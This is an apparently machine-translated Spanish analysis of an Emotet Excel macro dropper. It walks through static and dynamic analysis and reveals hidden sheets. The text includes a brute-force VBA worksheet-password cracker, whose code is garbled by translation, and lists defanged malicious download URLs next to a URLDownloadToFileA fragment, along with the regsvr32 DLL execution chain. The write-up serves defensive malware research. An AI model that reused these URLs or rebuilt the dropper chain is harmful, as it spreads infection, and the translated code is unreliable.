Por Ilan Duhin y Yossi Poberezsky( @pober58 )

Resumen ejecutivo:

En los últimos meses ha habido una extensa campaña en Europa, especialmente de malware que se llama “Emotet”. El malware llega como un archivo de Excel e intenta comunicarse con varias URL y, al final, descarga cuatro archivos DLL en la máquina.

Emotet usa una llamada API de CreateDirectoryA para crear una carpeta donde los archivos se guardarán localmente en la computadora y desde allí se ejecutarán a través de Regsvr32.exe.

Análisis estático:

Herramientas OLE:

Comprobación de la estructura del archivo.

Consiguiendo una pista que tenemos dentro de las hojas de excel 6.

Verifique las capacidades del archivo usando malwoverview.py y obtenga algunas pistas.

Entra en la tercera corriente y extrae sus cuerdas.

Encuentra 4 URL sospechosas.

El archivo contiene macro. Además, busque todas las celdas que contengan el código completo.

Análisis dinámico:

Primero, intentamos abrir Excel (parte de Office 2021) notamos que se abrió sin

Aparecerá la ventana emergente "Habilitar contenido". después de investigar un poco, el mensaje se muestra solo en las versiones de Office de 2007 a 2013. Después de eso, Microsoft bloquea la opción de habilitar la ejecución de macros automáticamente.

Para habilitar las macros, debemos cambiar la opción como en la imagen a continuación:

** en office 2007/2013 se ejecutará haciendo clic en "Habilitar contenido"

Necesita guardarlo e ingresarlo nuevamente en un archivo de Excel.

Y ahora…

Cuando presionamos el botón, aparecen cuatro mensajes.

Al hacer clic en regsvr32.exe, puede ver esas macros usándolo para ejecutar el malware. Actúa como un cuentagotas porque genera una carpeta para colocar su DLL allí.

al abrir Excel y seguir la investigación estática, vemos 6 hojas que se escondían de la víctima.

Cada hoja requiere una contraseña.

Para extraer la contraseña, usamos "rompedor de contraseñas para VBA".

Fuente:https://www.instructables.com/VBA-Code-To-Unlock-A-Locked-Excel-Sheet/

Subcontraseña Breaker()

'Rompe la protección de contraseña de la hoja de trabajo.

Dim i como entero, j como entero, k como entero

Dim l como entero, m como entero, n como entero

Dim i1 como entero, i2 como entero, i3 como entero

Dim i4 como entero, i5 como entero, i6 como entero

En caso de error Reanudar siguiente

Para i = 65 a 66: Para j = 65 a 66: Para k = 65 a 66

Para l = 65 a 66: Para m = 65 a 66: Para i1 = 65 a 66

Para i2 = 65 a 66: Para i3 = 65 a 66: Para i4 = 65 a 66

Para i5 = 65 a 66: Para i6 = 65 a 66: Para n = 32 a 126

ActiveSheet.Desproteger Chr(i) & Chr(j) & Chr(k) & _

Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & Chr(i3) & _

Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

Si ActiveSheet.ProtectContents = Falso Entonces

MsgBox "Una contraseña utilizable es" & Chr(i) & Chr(j) & _

Chr(k) & Chr(l) & Chr(m) & Chr(i1) & Chr(i2) & _

Chr(i3) & Chr(i4) & Chr(i5) & Chr(i6) & Chr(n)

Salir de Sub

Terminara si

Siguiente: Siguiente: Siguiente: Siguiente: Siguiente: Siguiente

Siguiente: Siguiente: Siguiente: Siguiente: Siguiente: Siguiente

Finalizar sub

Para insertar nuestro código VBA necesitamos presionar: ALT+F11, pegarlo y Ejecutar.

pegue el descifrador de contraseñas dentro de cada hoja.

Excel nos muestra automáticamente la contraseña de la hoja solicitada.

Podemos comprobarlo pulsando clic derecho y vemos que la hoja está “Protegida”.

Datos de la hoja 1:

Datos de la hoja 2:

Cuando reorganizamos las cadenas, vemos cuatro URL:

- URLDownloadToFileA”, “JCCB”, 0, “https://audioselec.c[o]m/about/dDw5ggtyMojggTqhc

-https://geringer-muehle.[de]/wp-admin/G/

-http://intolove.co.[uk]/wp-admin/FbGhiWtrEzrQ/

-http://isc.net.[ua]/themes/3rU/

Datos de la hoja 3:

Datos de la hoja 4:

Otras dos URL que vimos antes.

Datos de la hoja 5:

Datos de la hoja 6:

Contiene las instrucciones sobre cómo resumir las cadenas.

Análisis DLL:

Función de exportación número 18.

Después de usar la DLL, encontramos algunas cadenas interesantes en la pestaña de memoria.

Además, se deja caer al ejecutarse en la siguiente ruta:

Al analizar la cadena de memoria de la DLL en VT, obtuvimos una descripción de Emotet.

Conclusiones:

· Las macros se extienden para descargar y ejecutar el malware Emotet.

· El archivo de Excel que usa macros para llegar a las URL web.

· Vía regsvr32.exe Emotet haciendo su ejecución.

· El cuentagotas de Emotet se descarga en una carpeta generada aleatoriamente en %UserProfile%\Appdata\Local como un archivo dll.